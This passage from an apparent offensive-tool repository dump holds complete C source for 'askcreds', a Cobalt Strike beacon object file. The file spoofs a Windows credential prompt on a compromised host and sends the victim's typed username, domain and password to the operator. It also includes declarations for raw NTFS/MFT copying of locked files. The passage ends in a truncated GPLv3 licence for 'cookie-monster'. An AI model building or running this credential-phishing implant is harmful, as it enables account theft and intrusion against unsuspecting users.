destPath, HANDLE* hOutput);\nBOOL CopyFileByExtentsToMemory(HANDLE hVolume, EXTENT* extents, DWORD extentCount, ULONGLONG clusterSize, ULONGLONG fileSize, BYTE** outputBuffer, ULONGLONG* outputSize);\n\n// Common I/O functions\nBOOL WriteSparseToFile(HANDLE hOutput, ULONGLONG offset, ULONGLONG size, BYTE* tempBuffer);\nvoid WriteSparseToMemory(BYTE* destBuffer, ULONGLONG offset, ULONGLONG size);\nBOOL CopyChunkToFile(HANDLE hVolume, HANDLE hOutput, ULONGLONG diskOffset, ULONGLONG toCopy, ULONGLONG writeOffset, BYTE* buffer, DWORD bufferSize, ULONGLONG* bytesWritten);\nBOOL CopyChunkToMemory(HANDLE hVolume, BYTE* destBuffer, ULONGLONG destOffset, ULONGLONG diskOffset, ULONGLONG toCopy, BYTE* readBuffer, DWORD bufferSize, ULONGLONG* bytesCopied);\n\n// Function declarations\nBOOL ReadNtfsBoot(HANDLE hVolume, NTFS_BOOT* boot);\nBOOL GetNtfsFileInfo(LPCWSTR filePath, ULONGLONG* mftRecordNumber, ULONGLONG* fileSize);\nBOOL ReadMftRecord(HANDLE hVolume, NTFS_BOOT* boot, ULONGLONG recordNumber, BYTE* record);\nint ParseDataRuns(BYTE* dataRuns, int dataRunsSize, DATA_RUN** runs, NTFS_BOOT* boot);\nBOOL GetFileInfoFromRecord(BYTE* record, FILE_INFO* fileInfo, NTFS_BOOT* boot);\nBOOL CopyFileByMft(HANDLE hVolume, HANDLE hOutput, FILE_INFO* fileInfo, NTFS_BOOT* boot);\nint GetFileExtents(HANDLE hFile, EXTENT** extents, DWORD* extentCount);\nBOOL CopyFileByExtents(HANDLE hVolume, HANDLE hOutput, EXTENT* extents, DWORD extentCount, ULONGLONG clusterSize, ULONGLONG fileSize);\n\n#endif // UNDERLAYCOPY_H\n\n"
  },
  {
    "path": "Creds-BOF/askcreds/askcreds.c",
    "content": "#define SECURITY_WIN32\n\n#include <windows.h>\n#include <wincred.h>\n#include <security.h>\n\n#include \"askcreds.h\"\n#include \"beacon.h\"\n\n#define MAX_NAME 8192\n\ntypedef struct _THREAD_PARAMS {\n\tLPWSTR lpwReason;\n\tLPWSTR lpwMessage;\n} THREAD_PARAMS, *PTHREAD_PARAMS;\n\nvoid ConvertUnicodeStringToChar(const wchar_t* src, size_t srcSize, char* dst, size_t dstSize)\n{\n\tKERNEL32$WideCharToMultiByte(CP_ACP, 0, src, (int)srcSize, dst, (int)dstSize, NULL, NULL);\n\tdst[dstSize - 1] = '\\0';\n}\n\nBOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam) {\n\tPCHAR pWindowTitle = NULL;\n\tLPWSTR pExeName = NULL;\n\tDWORD dwProcId = 0; \n\n\tif (!hWnd)\n\t\treturn TRUE;\n\n\tif (!USER32$IsWindowVisible(hWnd))\n\t\treturn TRUE;\n\n#if defined(WOW64)\n\tLONG_PTR lStyle = USER32$GetWindowLongA(hWnd, GWL_STYLE);\n#else\n\tLONG_PTR lStyle = USER32$GetWindowLongPtrA(hWnd, GWL_STYLE);\n#endif\n\tif (!USER32$GetWindowThreadProcessId(hWnd, &dwProcId))\n\t\treturn TRUE;\n\n\tpWindowTitle = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_NAME);\n\tif (pWindowTitle == NULL)\n\t\tgoto CleanUp;\n\n\tif (!USER32$SendMessageA(hWnd, WM_GETTEXT, MAX_NAME, (LPARAM)pWindowTitle))\n\t\tgoto CleanUp;\n\n\tif (MSVCRT$_stricmp(pWindowTitle, \"Windows Security\") == 0) {\n\t\tUSER32$PostMessageA(hWnd, WM_CLOSE, 0, 0);\n\t}\n\telse if ((dwProcId == KERNEL32$GetCurrentProcessId()) && (WS_POPUPWINDOW == (lStyle & WS_POPUPWINDOW))){\n\t\tUSER32$PostMessageA(hWnd, WM_CLOSE, 0, 0);\n\t}\n\telse{\n\t\tDWORD dwSize = MAX_PATH;\n\t\tHANDLE hProcess = NULL;\n\n\t\thProcess = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcId);\n\t\tif (hProcess != NULL && hProcess != INVALID_HANDLE_VALUE){\n\t\t\tpExeName = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_PATH);\n\t\t\tif (pExeName == NULL) {\n\t\t\t\tgoto CleanUp;\n\t\t\t}\n\n\t\t\tif (KERNEL32$QueryFullProcessImageNameW(hProcess, 0, pExeName, &dwSize)) {\n\t\t\t\tif (SHLWAPI$StrStrIW(pExeName, L\"CredentialUIBroker.exe\")) {\n\t\t\t\t\tUSER32$PostMessageA(hWnd, WM_CLOSE, 0, 0);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (hProcess)\n\t\t\tKERNEL32$CloseHandle(hProcess);\n\t}\n\nCleanUp:\n\n\tif (pWindowTitle)\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pWindowTitle);\n\n\tif (pExeName)\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pExeName);\n\n\treturn TRUE;\n}\n\nDWORD WINAPI AskCreds(_In_ PTHREAD_PARAMS params) {\n\tDWORD dwRet = 0;\n\tHWND hWnd;\n\tCREDUI_INFOW credUiInfo;\n\tcredUiInfo.pszCaptionText = params->lpwReason;\n\tcredUiInfo.pszMessageText = (LPCWSTR) params->lpwMessage;\n\tcredUiInfo.cbSize = sizeof(credUiInfo);\n\tcredUiInfo.hbmBanner = NULL;\n\tcredUiInfo.hwndParent = NULL;\n\n\tDWORD authPackage = 0;\n\tLPWSTR szUsername = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, 514);\n\tLPWSTR lpwPasswd = L\"\";\n\tLPVOID inCredBuffer = NULL;\n\tLPVOID outCredBuffer = NULL;\n\tULONG inCredSize = 0;\n\tULONG outCredSize = 0;\n\tBOOL bSave = FALSE;\n\n\tULONG nSize = 256;\n\tif (SECUR32$GetUserNameExW(NameSamCompatible, szUsername, &nSize)) {\n\t\tif (!CREDUI$CredPackAuthenticationBufferW(CRED_PACK_GENERIC_CREDENTIALS, (LPWSTR)szUsername, lpwPasswd, 0, &inCredSize) && KERNEL32$GetLastError() == ERROR_INSUFFICIENT_BUFFER) {\n\t\t\tinCredBuffer = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, inCredSize);\n\t\t\tif (inCredBuffer != NULL) {\n\t\t\t\tif (!CREDUI$CredPackAuthenticationBufferW(CRED_PACK_GENERIC_CREDENTIALS, (LPWSTR)szUsername, lpwPasswd, inCredBuffer, &inCredSize)) {\n\t\t\t\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, inCredBuffer);\n\t\t\t\t\tinCredBuffer = NULL;\n\t\t\t\t\tinCredSize = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, szUsername);\n\n\thWnd = USER32$GetForegroundWindow();\n\tif (hWnd != NULL) {\n\t\tcredUiInfo.hwndParent = hWnd;\n\t}\n\n\tdwRet = CREDUI$CredUIPromptForWindowsCredentialsW(\n\t\t&credUiInfo, 0,\n\t\t&authPackage,\n\t\tinCredBuffer,\n\t\tinCredSize,\n\t\t&outCredBuffer,\n\t\t&outCredSize,\n\t\t&bSave,\n\t\tCREDUIWIN_GENERIC | CREDUIWIN_CHECKBOX\n\t\t);\n\n\tif (dwRet == ERROR_SUCCESS) {\n\t\tDWORD maxLenName     = 256;\n\t\tDWORD maxLenPassword = 256;\n\t\tDWORD maxLenDomain   = 256;\n\t\tLPWSTR szUsername = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, (maxLenName + 1) * sizeof(WCHAR));\n\t\tLPWSTR szPasswd   = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, (maxLenPassword + 1) * sizeof(WCHAR));\n\t\tLPWSTR szDomain   = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, (maxLenDomain + 1) * sizeof(WCHAR));\n\n\t\tif (CREDUI$CredUnPackAuthenticationBufferW(0, outCredBuffer, outCredSize, szUsername, &maxLenName, szDomain, &maxLenDomain, szPasswd, &maxLenPassword)) {\n\n\t\t\tchar* username = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, maxLenName);\n\t\t\tchar* password = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, maxLenPassword);;\n\n\t\t\tConvertUnicodeStringToChar(szUsername, maxLenName, username, maxLenName);\n\t\t\tConvertUnicodeStringToChar(szPasswd, maxLenPassword, password, maxLenPassword);\n\n\t\t\tif (MSVCRT$_wcsicmp(szDomain, L\"\") == 0) {\n\t\t\t\tBeaconPrintf(CALLBACK_OUTPUT,\n\t\t\t\t\t\"[+] Username: %s\\n\"\n\t\t\t\t\t\"[+] Password: %s\\n\", username, password);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tchar* domain = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, maxLenName);;\n\t\t\t\tConvertUnicodeStringToChar(szDomain, maxLenDomain, domain, maxLenDomain);\n\n\t\t\t\tBeaconPrintf(CALLBACK_OUTPUT,\n\t\t\t\t\t\"[+] Username: %s\\n\"\n\t\t\t\t\t\"[+] Domainname: %s\\n\"\n\t\t\t\t\t\"[+] Password: %s\\n\", username, domain, password);\n\t\t\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, domain);\n\t\t\t}\n\t\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, username);\n\t\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, password);\n\t\t}\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, szUsername);\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, szPasswd);\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, szDomain);\n\t}\n\telse if (dwRet == ERROR_CANCELLED) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"The operation was canceled by the user\\n\");\n\t}\n\telse {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"CredUIPromptForWindowsCredentialsW failed, error: %d\\n\", dwRet);\n\t}\n\n\tif (inCredBuffer)\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, inCredBuffer);\n\tif (outCredBuffer)\n\t\tOLE32$CoTaskMemFree(outCredBuffer);\n\n\treturn dwRet;\n}\n\nVOID go(IN PCHAR Args, IN ULONG Length) {\n\tPTHREAD_PARAMS params = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(THREAD_PARAMS));\n\tif (!params) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Failed to allocate memory for thread parameters.\\n\");\n\t\treturn;\n\t}\n\n\tdatap parser;\n\tBeaconDataParse(&parser, Args, Length);\t\n\tparams->lpwReason  = (WCHAR*)BeaconDataExtract(&parser, NULL);\n\tparams->lpwMessage = (WCHAR*)BeaconDataExtract(&parser, NULL);\n    DWORD dwTimeOut = BeaconDataInt(&parser) * 1000;\n\n\tDWORD ThreadId = 0;\n\tHANDLE hThread = KERNEL32$CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)AskCreds, (LPVOID)params, 0, &ThreadId);\n\tif (hThread == NULL) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Failed to create thread.\\n\");\n\t\treturn;\n\t}\n\n\tDWORD dwResult = KERNEL32$WaitForSingleObject(hThread, dwTimeOut);\n\tif (dwResult == WAIT_TIMEOUT) {  \n\t\tBeaconPrintf(CALLBACK_ERROR, \"ThreadId: %d timed out, closing Window.\\n\", ThreadId);\n\t\tif (!USER32$EnumWindows(EnumWindowsProc, (LPARAM)NULL)) { // Cancel operation by closing Window.\n\t\t\tKERNEL32$TerminateThread(hThread, 0); // Only if WM_CLOSE failed, very dirty..\n\t\t\treturn;\n\t\t}\n\t\tKERNEL32$WaitForSingleObject(hThread, 2000);\n\t}\n\n\tif (hThread)\n\t\tKERNEL32$CloseHandle(hThread);\n\n\tif (params)\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, params);\n\n\treturn;\n}\n"
  },
  {
    "path": "Creds-BOF/askcreds/askcreds.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <wincred.h>\n\n#define CREDUIWIN_GENERIC 0x1\n#define CREDUIWIN_CHECKBOX 0x2\n#define CRED_PACK_GENERIC_CREDENTIALS 0x4\n\n//CREDUI\nDECLSPEC_IMPORT DWORD WINAPI CREDUI$CredUIPromptForWindowsCredentialsW(\n\tPCREDUI_INFOW pUiInfo,\n\tDWORD dwAuthError,\n\tULONG *pulAuthPackage,\n\tLPCVOID pvInAuthBuffer,\n\tULONG ulInAuthBufferSize,\n\tLPVOID *ppvOutAuthBuffer,\n\tULONG *pulOutAuthBufferSize,\n\tBOOL *pfSave,\n\tDWORD dwFlags\n\t);\n\nDECLSPEC_IMPORT BOOL WINAPI CREDUI$CredUnPackAuthenticationBufferW(\n\tDWORD dwFlags,\n\tPVOID pAuthBuffer,\n\tDWORD cbAuthBuffer,\n\tLPWSTR pszUserName,\n\tDWORD *pcchMaxUserName,\n\tLPWSTR pszDomainName,\n\tDWORD *pcchMaxDomainName,\n\tLPWSTR pszPassword,\n\tDWORD *pcchMaxPassword\n\t);\n\nDECLSPEC_IMPORT BOOL WINAPI CREDUI$CredPackAuthenticationBufferW(\n\tDWORD dwFlags,\n\tLPWSTR pszUserName,\n\tLPWSTR pszPassword,\n\tPBYTE pPackedCredentials,\n\tDWORD *pcbPackedCredentials\n\t);\n\n//KERNEL32\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);\nWINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds);\nWINBASEAPI BOOL WINAPI KERNEL32$TerminateThread(HANDLE hThread, DWORD dwExitCode);\nWINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);\nWINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);\nWINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();\nWINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);\nWINBASEAPI DWORD WINAPI KERNEL32$GetLastError(VOID);\nWINBASEAPI DWORD WINAPI KERNEL32$GetCurrentProcessId();\nWINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);\nWINBASEAPI BOOL WINAPI KERNEL32$QueryFullProcessImageNameW(HANDLE hProcess, DWORD  dwFlags, LPWSTR lpExeName, PDWORD lpdwSize);\nWINBASEAPI int WINAPI KERNEL32$WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar);\n\n//MSVCRT\nWINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);\nWINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *_Str1, const wchar_t *_Str2);\nWINBASEAPI int __cdecl MSVCRT$_stricmp(const char *string1, const char *string2);\n\n//USER32\nWINUSERAPI WINBOOL USER32$EnumWindows(WNDENUMPROC lpEnumFunc,LPARAM lParam);\nWINUSERAPI WINBOOL USER32$IsWindowVisible(HWND hWnd);\nWINUSERAPI LRESULT USER32$SendMessageA(HWND hWnd,UINT Msg,WPARAM wParam,LPARAM lParam);\nWINUSERAPI WINBOOL USER32$PostMessageA(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);\nWINUSERAPI HWND USER32$GetForegroundWindow();\nWINUSERAPI DWORD USER32$GetWindowThreadProcessId(HWND hWnd, LPDWORD lpdwProcessId);\nWINUSERAPI LONG_PTR USER32$GetWindowLongPtrA(HWND hWnd, int  nIndex);\nWINUSERAPI LONG_PTR USER32$GetWindowLongA(HWND hWnd, int  nIndex);\n\n//SECUR32\nWINBASEAPI BOOLEAN WINAPI SECUR32$GetUserNameExW(EXTENDED_NAME_FORMAT NameFormat, LPWSTR lpNameBuffer, PULONG nSize);\nDECLSPEC_IMPORT VOID WINAPI OLE32$CoTaskMemFree(LPVOID pv);\n\n//SHLWAPI\nWINBASEAPI PCWSTR WINAPI SHLWAPI$StrStrIW(PCWSTR pszFirst, PCWSTR pszSrch);"
  },
  {
    "path": "Creds-BOF/cookie-monster/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) 